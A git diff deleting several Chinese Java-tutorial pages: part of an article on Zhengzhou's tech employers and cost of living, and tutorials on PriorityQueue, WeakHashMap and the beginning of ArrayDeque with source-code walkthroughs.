- -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-ec100440-a50e-4f27-88e4-4b075cf12676.png) - -整体面试不是很难,薪资相对来说也还可以。 - -薪资的话,看准网上的平均薪资是 16k 附近,其中后端开发(C++)的薪资在 20k 附近,前端开发的薪资在 8.5k 附近,软件测试的薪资在 9.5k 附近(薪资水平仅供参考,实际情况因人和岗位或许会有一些出入)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-1b7640e6-deee-42f6-8df7-639555c5d236.png) - -### 新开普 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-ca1cf626-13aa-4081-b6c0-285893458dde.png) - -新开普也是郑州的一家本土互联网公司,成立于郑州高新技术产业开发区,主要做 NFC 近场移动支付、金融 IC 卡等业务。 - -新开普是目前国内一卡通行业唯一一家上市公司,已经为全国千所高校,千万名大学生提供服务。 - -技术面试的话,一般第一面是笔试,笔试之后会再问你一些相关的技术问题。 - -薪资的话,看准网上的平均薪资是 7.6k 附近,其中后端开发(Java)的薪资在 9k 附近,前端开发的薪资在 9k 附近,软件测试的薪资在 5.5k 附近(薪资水平仅供参考,实际情况因人和岗位或许会有一些出入)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-dca4c23e-7310-4a60-b338-25f3e92d3339.png) - -### 中移在线 - -中国移动旗下的一家“互联网”公司,实际不像是“互联网”公司。 - -对于技术开发来说,去中移在线一是对技术没有提升或者挑战,二是工资是真的低(看准网上的 Java 开发薪资在 8k 附近)。 - -真心不太建议去,除非你没有其他更好的选择。 - -我能想到唯一的优势可能是公司相对来说能提供给你的一个相对稳定的工作。 - -### 爱云校 - -爱云校常见于 2014 年,主要做的是在校教育这块,致力于通过 AI 建一所云上的学校。 - -单看公司所做的业务方向来说,发展相对来说还是不错的。不过,据说公司的管理真的是渣到了一定程度。 - -另外,根据大部分面试求职者的反馈来看,这家公司的整体面试体验比较差。 - -薪资的话,看准网上的平均薪资是 12k 附近,其中后端开发(Java)的薪资在 14k 附近,前端开发的薪资在 8k 附近,软件测试的薪资在 10k 附近(薪资水平仅供参考,实际情况因人和岗位或许会有一些出入)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-90273777-d5d0-424a-a8b0-e5df53455ef9.png) - -### 妙优车 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-b6ca12ab-ecb5-4b01-9cf3-21b22da0d67a.png) - -妙优车主要做的是汽车方面的业务,涵盖整车销售、汽车金融、汽车保险、汽车用品、汽车美容等方面。 - -公司发展一般,网上也有一些黑历史(可以自己查一下)。 - -不过,根据大部分面试求职者的反馈来看,这家公司的整体面试体验还是可以的。 - -薪资这块的一般偏上,看准网上的平均薪资是 11k 附近,其中后端开发(Java)的薪资在 12k 附近,前端开发的薪资在 10k 附近(薪资水平仅供参考,实际情况因人和岗位或许会有一些出入)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-491c2bc1-5cea-48e6-ad47-80eb92ddaa3d.png) - -### 腾河 - -腾讯是河南腾河网络科技有限公司的最大股东,第二大股东是河南日报。 - -主要做的业务方向是河南城市生活第一网。 - -工资比较低,另外,后端这块好像只招 PHP。 - -### 真二网 - -不得不说,这个名字有点东西! - -真二网创立于 2014 年,也是郑州本土的一家互联网公司,主要做 C2C 模式的 0 中介费真实二手房交易平台。 - -工资比较低,另外,后端这块好像只招 PHP。 - -### 硕诺科技 - -硕诺科技创立于 2014 年,总部位于上海,主要做物流软件系统高端定制的软件开发。 - -网上可以查到的消息比较少,感兴趣的小伙伴可以自己去查一下相关信息啊! - -另外,如果有小伙伴对这家公司比较了解,也可以在评论区说一下啊! - -### 科大讯飞 - -科大讯飞在郑州金水区有一个小分部,大部分招聘的都是和技术无关的岗位,不过也有一个 Java 开发岗。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-dc1517e7-c93b-457f-96d2-0871c17bf916.png) - -### 字节跳动 - -郑州也有字节跳动分部,不过都是和市场拓展与运营相关的岗位,像技术开发岗是没有的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-c7d11e68-2b85-4895-a3c5-44f6816ccfb2.png) - -类似的还有美团、华为、阿里巴巴等大厂,这些公司在郑州招聘的基本也都是非技术岗位。 - -### 其他 - -其他还有像郑州点读电子科技有限公司(旗下产品有咿啦看书)、羲和网络(河南唯一一家游戏上市企业)、米宅(中国知名的楼市自媒体,新三板上市企业)等互联网公司,感兴趣的小伙伴可以自行查阅相关信息呀! - -读者补充:海康威视、APUS、云鸟、亚信科技、牧原食品、小鱼易联、神州信息、云智慧都在郑州招开发工程师。 - -## 生活环境&生活成本 - -我们再来看看生活环境和生活成本。 - -### 房价 - -郑州的房价对于其发展来说还是比较贵的。当然了,相比于一线城市肯定还是要便宜很多的! - -以下房价数据来源于安居客,可以作为参考。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-95ec5784-5064-488c-bce8-4c076115a021.png) - -### 教育 - -郑州的教育资源极度匮乏!据统计郑州一共有 65 所高校,其中,本科 26 所,专科 39 所。 - -不过,211 院校仅有一所——郑州大学。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-03294872-3914-441b-ae6b-55200bce097a.png) - -是的!作为偌大的河南省的省会,国家历史文化名城,也就只有一所 211! - -我们来对比一下湖北省省会武汉,武汉 7 所 985/211 高校,分别是武汉大学、华中科技大学、中国地质大学、武汉理工大学、华中师范大学、华中农业大学、中南财经政法大学。 - -再来对比一下湖南省省会长沙,长沙有 4 所 985/211 高校,分别是国防科大、中南大学、湖南大学、湖南师范大学。 - -### 医疗 - -郑州的每万人床位数排名比较靠前。 - -另外,郑州市的优质医疗资源,在金水区、中原区、管城区比较集中; - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-6bbd8d11-dbe5-43c4-9354-b422b7fe1f77.png) - -### 本地居民 - -网上有很多“河南黑”,让很多人对河南的影响不好! - -实际情况可能并不是这样的!郑州本地居民不排外,绝大部分都特别老实,本本分分。 - -我去过很多城市,郑州人的友善程度我觉得是可以排在 Top 级别的! - -另外,郑州这边的居民还是比较恋家的。有很多在北上广混的还不错的人,最后也还是选择回来! - -### 交通 - -作为一个北方内陆城市,郑州可以说是一个“交通枢纽”。从郑州出发坐高铁,你去国内大部分地方都非常方便。 - -下图中的部分高铁线路正在修建,比如郑万高铁全线大概是 2021 年中旬通车。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-0a4d6b3c-a756-4509-a6fd-f3a65f018c84.png) - -郑州的地铁规划情况如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-264ab1f2-f355-466a-ab5d-2dc21668e888.gif) - -目前的话,郑州地铁有 1 号线、2 号线、3 号线、4 号线、城郊线、5 号线、14 号线一期 7 条地铁线。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-c5e61f03-efcb-4e56-b9bf-ff7bcec3dce0) - -### 美食 - -郑州的各种商业设施还是比较齐全的,有很多大型的商场,商场里面基本是样样俱全。 - -郑州好吃的还挺多的!去了郑州之后,一定要去喝胡辣汤,真的不要太好喝! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-757eed5b-4b81-4bb0-a0e1-b24e510cc707.png) - -本地的美食还有烩面、焖饼、烧鸡等等都非常不错。 - -巩义那边有一家花雕醉鸡真心不错,价格便宜,2 个人不到 100 元就能吃的很好!最关键的是味道真的好!!! - -像浙菜、豫菜、火锅串串这边都能找到比较好吃的店子,可以满足绝大部分小伙伴的味蕾。 - - - ->作者:大白,转载链接:[https://mp.weixin.qq.com/s/SU9drg2xJKcheIwJ6OSSBQ](https://mp.weixin.qq.com/s/SU9drg2xJKcheIwJ6OSSBQ) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/collection/PriorityQueue.md b/docs/src/collection/PriorityQueue.md deleted file mode 100644 index e083ed87d3..0000000000 --- a/docs/src/collection/PriorityQueue.md +++ /dev/null @@ -1,340 +0,0 @@ ---- -title: 10 张手绘图详解Java 优先级队列PriorityQueue -shortTitle: 优先级队列PriorityQueue详解 -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细解析了 Java 优先级队列 PriorityQueue 的实现原理、功能特点以及源码,为您提供了 PriorityQueue 的实际应用示例和性能优化建议。阅读本文,将帮助您更深入地理解 PriorityQueue 在 Java 编程中的应用,从而在实际编程中充分发挥其优势。 -head: - - - meta - - name: keywords - content: Java,优先级队列,PriorityQueue,java 优先级队列,java PriorityQueue, 源码分析, 实现原理 ---- - - ->继续有请王老师,来上台给大家讲讲优先级队列 PriorityQueue。 - -PriorityQueue 是 Java 中的一个基于优先级堆的优先队列实现,它能够在 O(log n) 的时间复杂度内实现元素的插入和删除操作,并且能够自动维护队列中元素的优先级顺序。 - -通俗来说,PriorityQueue 就是一个队列,但是它不是先进先出的,而是按照元素优先级进行排序的。当你往 PriorityQueue 中插入一个元素时,它会自动根据元素的优先级将其插入到合适的位置。当你从 PriorityQueue 中删除一个元素时,它会自动将优先级最高的元素出队。 - -下面👇🏻是一个简单的PriorityQueue示例: - -```java -// 创建 PriorityQueue 对象 -PriorityQueue priorityQueue = new PriorityQueue<>(); - -// 添加元素到 PriorityQueue -priorityQueue.offer("沉默王二"); -priorityQueue.offer("陈清扬"); -priorityQueue.offer("小转铃"); - -// 打印 PriorityQueue 中的元素 -System.out.println("PriorityQueue 中的元素:"); -while (!priorityQueue.isEmpty()) { - System.out.print(priorityQueue.poll() + " "); -} -``` - -在上述代码中,我们首先创建了一个 PriorityQueue 对象,并向其中添加了三个元素。然后,我们使用 while 循环遍历 PriorityQueue 中的元素,并打印出来。来看输出结果: - -``` -PriorityQueue 中的元素: -小转铃 沉默王二 陈清扬 -``` - -再来看一下示例。 - -```java -// 创建 PriorityQueue 对象,并指定优先级顺序 -PriorityQueue priorityQueue = new PriorityQueue<>(Comparator.reverseOrder()); - -// 添加元素到 PriorityQueue -priorityQueue.offer("沉默王二"); -priorityQueue.offer("陈清扬"); -priorityQueue.offer("小转铃"); - -// 打印 PriorityQueue 中的元素 -System.out.println("PriorityQueue 中的元素:"); -while (!priorityQueue.isEmpty()) { - System.out.print(priorityQueue.poll() + " "); -} -``` - -在上述代码中,我们使用了 Comparator.reverseOrder() 方法指定了 PriorityQueue 的优先级顺序为降序。也就是说,PriorityQueue 中的元素会按照从大到小的顺序排序。 - -其他部分的代码与之前的例子相同,我们再来看一下输出结果: - -``` -PriorityQueue 中的元素: -陈清扬 沉默王二 小转铃 -``` - -对比一下两个例子的输出结果,不难发现,顺序正好相反。 - -### PriorityQueue的作用 - -PriorityQueue 的主要作用是维护一组数据的排序,使得取出数据时可以按照一定的优先级顺序进行,当我们调用 poll() 方法时,它会从队列的顶部弹出最高优先级的元素。它在很多场景下都有广泛的应用,例如任务调度、事件处理等场景,以及一些算法中需要对数据进行排序的场景。 - -在实际应用中,PriorityQueue 也经常用于实现 Dijkstra 算法、Prim 算法、Huffman 编码等算法。这里简单说一下这几种算法的作用,理解不了也没关系哈。 - -Dijkstra算法是一种用于计算带权图中的最短路径的算法。该算法采用贪心的策略,在遍历图的过程中,每次选取当前到源点距离最短的一个顶点,并以它为中心进行扩展,更新其他顶点的距离值。经过多次扩展,可以得到源点到其它所有顶点的最短路径。 - -Prim算法是一种用于求解最小生成树的算法,可以在加权连通图中找到一棵生成树,使得这棵生成树的所有边的权值之和最小。该算法从任意一个顶点开始,逐渐扩展生成树的规模,每次选择一个距离已生成树最近的顶点加入到生成树中。 - -Huffman编码是一种基于霍夫曼树的压缩算法,用于将一个字符串转换为二进制编码以进行压缩。该算法的主要思想是通过建立霍夫曼树,将出现频率较高的字符用较短的编码表示,而出现频率较低的字符用较长的编码表示,从而实现对字符串的压缩。在解压缩时,根据编码逐步解析出原字符串。 - -由于 PriorityQueue 的底层是基于堆实现的,因此在数据量比较大时,使用 PriorityQueue 可以获得较好的时间复杂度。 - -这里牵涉到了大小关系,**元素大小的评判可以通过元素本身的自然顺序(_natural ordering_),也可以通过构造时传入的比较器**(_Comparator_,或者元素自身实现 Comparable 接口)来决定。 - -在 PriorityQueue 中,每个元素都有一个优先级,这个优先级决定了元素在队列中的位置。队列内部通过小顶堆(也可以是大顶堆)的方式来维护元素的优先级关系。具体来说,小顶堆是一个完全二叉树,任何一个非叶子节点的权值,都不大于其左右子节点的权值,这样保证了队列的顶部元素(堆顶)一定是优先级最高的元素。 - -完全二叉树(Complete Binary Tree)是一种二叉树,其中除了最后一层,其他层的节点数都是满的,最后一层的节点都靠左对齐。下面是一个完全二叉树的示意图: - -``` - 1 - / \ - 2 3 - / \ / - 4 5 6 -``` - -堆是一种完全二叉树,堆的特点是根节点的值最小(小顶堆)或最大(大顶堆),并且任意非根节点i的值都不大于(或不小于)其父节点的值。 - -这是一颗包含整数 1, 2, 3, 4, 5, 6, 7 的小顶堆: - -``` - 1 - / \ - 2 3 - / \ / \ - 4 5 6 7 -``` - -这是一颗大顶堆。 - -``` - 8 - / \ - 7 5 - / \ / \ - 6 4 2 1 -``` - -因为完全二叉树的结构比较规则,所以可以使用数组来存储堆的元素,而不需要使用指针等额外的空间。 - -在堆中,每个节点的下标和其在数组中的下标是一一对应的,假设节点下标为i,则其父节点下标为i/2,其左子节点下标为2i,其右子节点下标为2i+1。 - -假设有一个数组arr=[10, 20, 15, 30, 40],现在要将其转化为一个小顶堆。 - -首先,我们将数组按照完全二叉树的形式排列,如下图所示: - -``` - 10 - / \ - 20 15 - / \ -30 40 -``` - -从上往下、从左往右依次给每个节点编号,如下所示: - -``` - 1 - / \ - 2 3 - / \ - 4 5 -``` - -接下来,我们按照上述公式,依次确定每个节点在数组中的位置。例如,节点1的父节点下标为1/2=0,左子节点下标为2\*1=2,右子节点下标为2\*1+1=3,因此节点1在数组中的位置为0,节点2在数组中的位置为2,节点3在数组中的位置为3。 - -对应的数组为[10, 20, 15, 30, 40],符合小顶堆的定义,即每个节点的值都小于或等于其子节点的值。 - -好,我们画幅图再来理解一下。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/PriorityQueue-8dca2f55-a7c7-49e1-95a5-df1a34f2aef5.png) - -上图中我们给每个元素按照层序遍历的方式进行了编号,如果你足够细心,会发现父节点和子节点的编号是有联系的,更确切的说父子节点的编号之间有如下关系: - -``` -leftNo = parentNo\*2+1 - -rightNo = parentNo\*2+2 - -parentNo = (nodeNo-1)/2 -``` - -通过上述三个公式,可以轻易计算出某个节点的父节点以及子节点的下标。这也就是为什么可以直接用数组来存储堆的原因。 - -### 方法剖析 - -#### add()和 offer() - -`add(E e)`和`offer(E e)`的语义相同,都是向优先队列中插入元素,只是`Queue`接口规定二者对插入失败时的处理不同,前者在插入失败时抛出异常,后则则会返回`false`。对于*PriorityQueue*这两个方法其实没什么差别。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/PriorityQueue-0fb89aa7-c8fa-4fad-adbb-40c61c3bb0e9.png) - -新加入的元素可能会破坏小顶堆的性质,因此需要进行必要的调整。 - -```Java -//offer(E e) -public boolean offer(E e) { - if (e == null)//不允许放入null元素 - throw new NullPointerException(); - modCount++; - int i = size; - if (i >= queue.length) - grow(i + 1);//自动扩容 - size = i + 1; - if (i == 0)//队列原来为空,这是插入的第一个元素 - queue[0] = e; - else - siftUp(i, e);//调整 - return true; -} -``` - -上述代码中,扩容函数`grow()`类似于`ArrayList`里的`grow()`函数,就是再申请一个更大的数组,并将原数组的元素复制过去,这里不再赘述。需要注意的是`siftUp(int k, E x)`方法,该方法用于插入元素`x`并维持堆的特性。 - -```Java -//siftUp() -private void siftUp(int k, E x) { - while (k > 0) { - int parent = (k - 1) >>> 1;//parentNo = (nodeNo-1)/2 - Object e = queue[parent]; - if (comparator.compare(x, (E) e) >= 0)//调用比较器的比较方法 - break; - queue[k] = e; - k = parent; - } - queue[k] = x; -} -``` - -调整的过程为:**从`k`指定的位置开始,将`x`逐层与当前点的`parent`进行比较并交换,直到满足`x >= queue[parent]`为止**。注意这里的比较可以是元素的自然顺序,也可以是依靠比较器的顺序。 - -#### element()和 peek() - -`element()`和`peek()`的语义完全相同,都是获取但不删除队首元素,也就是队列中权值最小的那个元素,二者唯一的区别是当方法失败时前者抛出异常,后者返回`null`。根据小顶堆的性质,堆顶那个元素就是全局最小的那个;由于堆用数组表示,根据下标关系,`0`下标处的那个元素既是堆顶元素。所以**直接返回数组`0`下标处的那个元素即可**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/PriorityQueue-5059f157-845e-4d1c-b993-5cfe539d5607.png) - -代码也就非常简洁: - -```Java -//peek() -public E peek() { - if (size == 0) - return null; - return (E) queue[0];//0下标处的那个元素就是最小的那个 -} -``` - -#### remove()和 poll() - -`remove()`和`poll()`方法的语义也完全相同,都是获取并删除队首元素,区别是当方法失败时前者抛出异常,后者返回`null`。由于删除操作会改变队列的结构,为维护小顶堆的性质,需要进行必要的调整。 - -![PriorityQueue_poll.png](https://cdn.paicoding.com/tobebetterjavaer/images/collection/PriorityQueue-e25ba931-2e6f-4c17-84b8-9b959733d541.png) - -代码如下: - -```Java -public E poll() { - if (size == 0) - return null; - int s = --size; - modCount++; - E result = (E) queue[0];//0下标处的那个元素就是最小的那个 - E x = (E) queue[s]; - queue[s] = null; - if (s != 0) - siftDown(0, x);//调整 - return result; -} -``` - -上述代码首先记录`0`下标处的元素,并用最后一个元素替换`0`下标位置的元素,之后调用`siftDown()`方法对堆进行调整,最后返回原来`0`下标处的那个元素(也就是最小的那个元素)。重点是`siftDown(int k, E x)`方法,该方法的作用是**从`k`指定的位置开始,将`x`逐层向下与当前点的左右孩子中较小的那个交换,直到`x`小于或等于左右孩子中的任何一个为止**。 - -```Java -//siftDown() -private void siftDown(int k, E x) { - int half = size >>> 1; - while (k < half) { - //首先找到左右孩子中较小的那个,记录到c里,并用child记录其下标 - int child = (k << 1) + 1;//leftNo = parentNo*2+1 - Object c = queue[child]; - int right = child + 1; - if (right < size && - comparator.compare((E) c, (E) queue[right]) > 0) - c = queue[child = right]; - if (comparator.compare(x, (E) c) <= 0) - break; - queue[k] = c;//然后用c取代原来的值 - k = child; - } - queue[k] = x; -} -``` - -#### remove(Object o) - -`remove(Object o)`方法用于删除队列中跟`o`相等的某一个元素(如果有多个相等,只删除一个),该方法不是*Queue*接口内的方法,而是*Collection*接口的方法。由于删除操作会改变队列结构,所以要进行调整;又由于删除元素的位置可能是任意的,所以调整过程比其它方法稍加繁琐。 - -具体来说,`remove(Object o)`可以分为 2 种情况: - -1. 删除的是最后一个元素。直接删除即可,不需要调整。 -2. 删除的不是最后一个元素,从删除点开始以最后一个元素为参照调用一次`siftDown()`即可。此处不再赘述。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/PriorityQueue-ed0d08d3-b38e-44a1-a710-ee7a01afda62.png) - -具体代码如下: - -```Java -//remove(Object o) -public boolean remove(Object o) { - //通过遍历数组的方式找到第一个满足o.equals(queue[i])元素的下标 - int i = indexOf(o); - if (i == -1) - return false; - int s = --size; - if (s == i) //情况1 - queue[i] = null; - else { - E moved = (E) queue[s]; - queue[s] = null; - siftDown(i, moved);//情况2 - ...... - } - return true; -} -``` - -### 小结 - -PriorityQueue 是一个非常常用的数据结构,它是一种特殊的堆(Heap)实现,可以用来高效地维护一个有序的集合。 - -- 它的底层实现是一个数组,通过堆的性质来维护元素的顺序。 -- 取出元素时按照优先级顺序(从小到大或者从大到小)进行取出。 -- 如果需要指定排序,元素必须实现 Comparable 接口或者传入一个 Comparator 来进行比较。 - -可以通过 LeetCode 的第 23 题:[合并K个升序链表](https://leetcode-cn.com/problems/merge-k-sorted-lists/) 来练习 PriorityQueue 的使用。 - -我把题解已经放到了技术派中,大家可以去作为参考。 - -[合并K个升序链表](https://paicoding.com/column/7/23) - -> 参考链接:[https://github.com/CarpenterLee/JCFInternals](https://github.com/CarpenterLee/JCFInternals),作者:李豪,整理:沉默王二 - - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/collection/WeakHashMap.md b/docs/src/collection/WeakHashMap.md deleted file mode 100644 index c9fe6ffff7..0000000000 --- a/docs/src/collection/WeakHashMap.md +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Java WeakHashMap详解(附源码分析) -shortTitle: 详解WeakHashMap -category: - - Java核心 -tag: - - 集合框架(容器) -description: 二哥的Java进阶之路,小白的零基础Java教程,Java WeakHashMap详解(附源码分析) -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,WeakHashMap ---- - - -在Java中,我们一般都会使用到Map,比如[HashMap](https://javabetter.cn/collection/hashmap.html)这样的具体实现。更高级一点,我们可能会使用WeakHashMap。 - -WeakHashMap其实和HashMap大多数行为是一样的,只是WeakHashMap不会阻止GC回收key对象(不是value),那么WeakHashMap是怎么做到的呢,这就是我们研究的主要问题。 - -在开始WeakHashMap之前,我们先要对弱引用有一定的了解。 - -在Java中,有四种引用类型 - -* 强引用(Strong Reference),我们正常编码时默认的引用类型,强应用之所以为强,是因为如果一个对象到GC Roots强引用可到达,就可以阻止GC回收该对象 -* 软引用(Soft Reference)阻止GC回收的能力相对弱一些,如果是软引用可以到达,那么这个对象会停留在内存更时间上长一些。当内存不足时垃圾回收器才会回收这些软引用可到达的对象 -* 弱引用(WeakReference)无法阻止GC回收,如果一个对象时弱引用可到达,那么在下一个GC回收执行时,该对象就会被回收掉。 -* 虚引用(Phantom Reference)十分脆弱,它的唯一作用就是当其指向的对象被回收之后,自己被加入到引用队列,用作记录该引用指向的对象已被销毁 - -这其中还有一个概念叫做引用队列(Reference Queue) - -* 一般情况下,一个对象标记为垃圾(并不代表回收了)后,会加入到引用队列。 -* 对于虚引用来说,它指向的对象会只有被回收后才会加入引用队列,所以可以用作记录该引用指向的对象是否回收。 - -## WeakHashMap如何不阻止对象回收呢 - - -```java -private static final class Entry extends WeakReference implements - Map.Entry { - int hash; - boolean isNull; - V value; - Entry next; - interface Type { - R get(Map.Entry entry); - } - Entry(K key, V object, ReferenceQueue queue) { - super(key, queue); - isNull = key == null; - hash = isNull ? 0 : key.hashCode(); - value = object; - } -``` - - - -如源码所示, - -* WeakHashMap的Entry继承了WeakReference。 -* 其中Key作为了WeakReference指向的对象 -* 因此WeakHashMap利用了WeakReference的机制来实现不阻止GC回收Key - -## 如何删除被回收的key数据呢 - -在Javadoc中关于WeakHashMap有这样的描述,当key不再引用时,其对应的key/value也会被移除。 - -那么是如何移除的呢,这里我们通常有两种假设策略 - -* 当对象被回收的时候,进行通知 -* WeakHashMap轮询处理时效的Entry - -而WeakHashMap采用的是轮询的形式,在其put/get/size等方法调用的时候都会预先调用一个poll的方法,来检查并删除失效的Entry - -```java -void poll() { - Entry toRemove; - while ((toRemove = (Entry) referenceQueue.poll()) != null) { - removeEntry(toRemove); - Log.d(LOGTAG, "removeEntry=" + toRemove.value); - } - } -``` - - -为什么没有使用看似更好的通知呢,我想是因为在Java中没有一个可靠的通知回调,比如大家常说的finalize方法,其实也不是标准的,不同的JVM可以实现不同,甚至是不调用这个方法。 - -当然除了单纯的看源码,进行合理的验证是检验分析正确的一个重要方法。 - -这里首先,我们定义一个MyObject类,处理一下finalize方法(在我的测试机上可以正常调用,仅仅做为辅助验证手段) - -```java -class MyObject(val id: String) : Any() { - protected fun finalize() { - Log.i("MainActivity", "Object($id) finalize method is called") - } - } -``` - - - -然后是调用者的代码,如下 - -```java -private val weakHashMap = WeakHashMap() - var count : Int = 0 - override fun onCreate(savedInstanceState: Bundle?) { - super.onCreate(savedInstanceState) - setContentView(R.layout.activity_main) - setSupportActionBar(toolbar) - dumpWeakInfo() - fab.setOnClickListener { view -> - //System.gc()// this seldom works use Android studio force gc stop - weakHashMap.put(MyObject(count.toString()), count) - count ++ - dumpWeakInfo() - Snackbar.make(view, "Replace with your own action", Snackbar.LENGTH_LONG) - .setAction("Action", null).show() - } - } - fun dumpWeakInfo() { - Log.i("MainActivity", "dumpWeakInfo weakInfo.size=${weakHashMap.size}") - } -``` - - - -我们按照如下操作 - -* 点击fab控件,每次对WeakhashMap对象增加一个Entry,并打印WeakHashMap的size 执行3此 -* 在没有强制触发GC时,WeakHashMap对象size一直会增加 -* 手动出发Force GC,我们会看到MyObject有finalize方法被调用 -* 再次点击fab空间,然后输出的WeakHashMap size急剧减少。 -* 同样我们收到在WeakHashMap增加的日志也会输出 - - -```java -I/MainActivity(10202): dumpWeakInfo weakInfo.size=1 - I/MainActivity(10202): dumpWeakInfo weakInfo.size=2 - I/MainActivity(10202): dumpWeakInfo weakInfo.size=3 - I/MainActivity(10202): Object(2) finalize method is called - I/MainActivity(10202): Object(1) finalize method is called - I/MainActivity(10202): Object(0) finalize method is called - I/WeakHashMap(10202): removeEntry=2 - I/WeakHashMap(10202): removeEntry=0 - I/WeakHashMap(10202): removeEntry=1 - I/MainActivity(10202): dumpWeakInfo weakInfo.size=1 -``` - - -注意:System.gc()并不一定可以工作,建议使用Android Studio的Force GC - -完整的测试代码可以访问这里 [https://github.com/androidyue/WeakHashMapSample](https://github.com/androidyue/WeakHashMapSample) - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/collection/arraydeque.md b/docs/src/collection/arraydeque.md deleted file mode 100644 index 8ee2e3e245..0000000000 --- a/docs/src/collection/arraydeque.md +++ /dev/null @@ -1,379 +0,0 @@ ---- -title: 详解 Java 中的双端队列(ArrayDeque附源码分析) -shortTitle: 双端队列ArrayDeque详解 -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细解析了 Java 中的双端队列 ArrayDeque 的实现原理、功能特点以及源码,为您提供了 ArrayDeque 的实际应用示例和性能优化建议。阅读本文,将帮助您更深入地理解双端队列在 Java 编程中的应用,从而在实际编程中充分发挥其优势。 -head: - - - meta - - name: keywords - content: Java,ArrayDeque,堆,队列,java 双端队列,java ArrayDeque,源码分析, 实现原理 ---- - ->好,我们这节继续有请王老师上台来给大家讲 ArrayDeque,鼓掌欢迎了👏🏻。 - -Java 里有一个叫做*Stack*的类,却没有叫做*Queue*的类(它只是个接口名字,和类还不一样)。 - -```java -public interface Queue extends Collection {} -``` - -当需要使用栈时,Java 已不推荐使用*Stack*,而是推荐使用更高效的*ArrayDeque*(双端队列),原因我们第一次讲[集合框架](https://javabetter.cn/collection/gailan.html)的时候,其实已经聊过了,Stack 是一个“原始”类,它的核心方法上都加了 `synchronized` 关键字以确保线程安全,当我们不需要线程安全(比如说单线程环境下)性能就会比较差。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/collection//arraydeque-51e3552c-af39-4d00-8494-1ff0a4913357.png) - -也就是说,当需要使用栈时候,请首选*ArrayDeque*。 - -```java -// 声明一个双端队列 -ArrayDeque stack = new ArrayDeque<>(); - -// 增加元素 -stack.push("沉默"); -stack.push("王二"); -stack.push("陈清扬"); - -// 获取栈顶元素 -String top = stack.peek(); -System.out.println("栈顶元素为:" + top); // 陈清扬 - -// 弹出栈顶元素 -String pop = stack.pop(); -System.out.println("弹出的元素为:" + pop); // 陈清扬 - -// 修改栈顶元素 -stack.pop(); -stack.push("小明"); -System.out.println("修改后的栈为:" + stack); // [小明, 沉默] - -// 遍历队列查找元素 -Iterator iterator = stack.iterator(); -int index = -1; -String target = "王二"; -while (iterator.hasNext()) { - String element = iterator.next(); - index++; - if (element.equals(target)) { - break; - } -} - -if (index == -1) { - System.out.println("元素 " + target + " 不存在于队列中"); -} else { - System.out.println("元素 " + target + " 在队列中的位置为:" + index); -} -``` - -在上面的示例中,我们先创建了一个 ArrayDeque 对象,然后使用 push 方法向栈中添加了三个元素。接着使用 peek 方法获取栈顶元素,使用 pop 方法弹出栈顶元素,使用 pop 和 push 方法修改栈顶元素,使用迭代器查找元素在栈中的位置。 - -ArrayDeque 又实现了 Deque 接口(Deque 又实现了 Queue 接口): - -```java -public class ArrayDeque extends AbstractCollection - implements Deque, Cloneable, Serializable -{} -``` - -因此,当我们需要使用队列的时候,也可以选择 ArrayDeque。 - -```java -ArrayDeque queue = new ArrayDeque<>(); - -// 增加元素 -queue.offer("沉默"); -queue.offer("王二"); -queue.offer("陈清扬"); - -// 获取队首元素 -String front = queue.peek(); -System.out.println("队首元素为:" + front); // 沉默 - -// 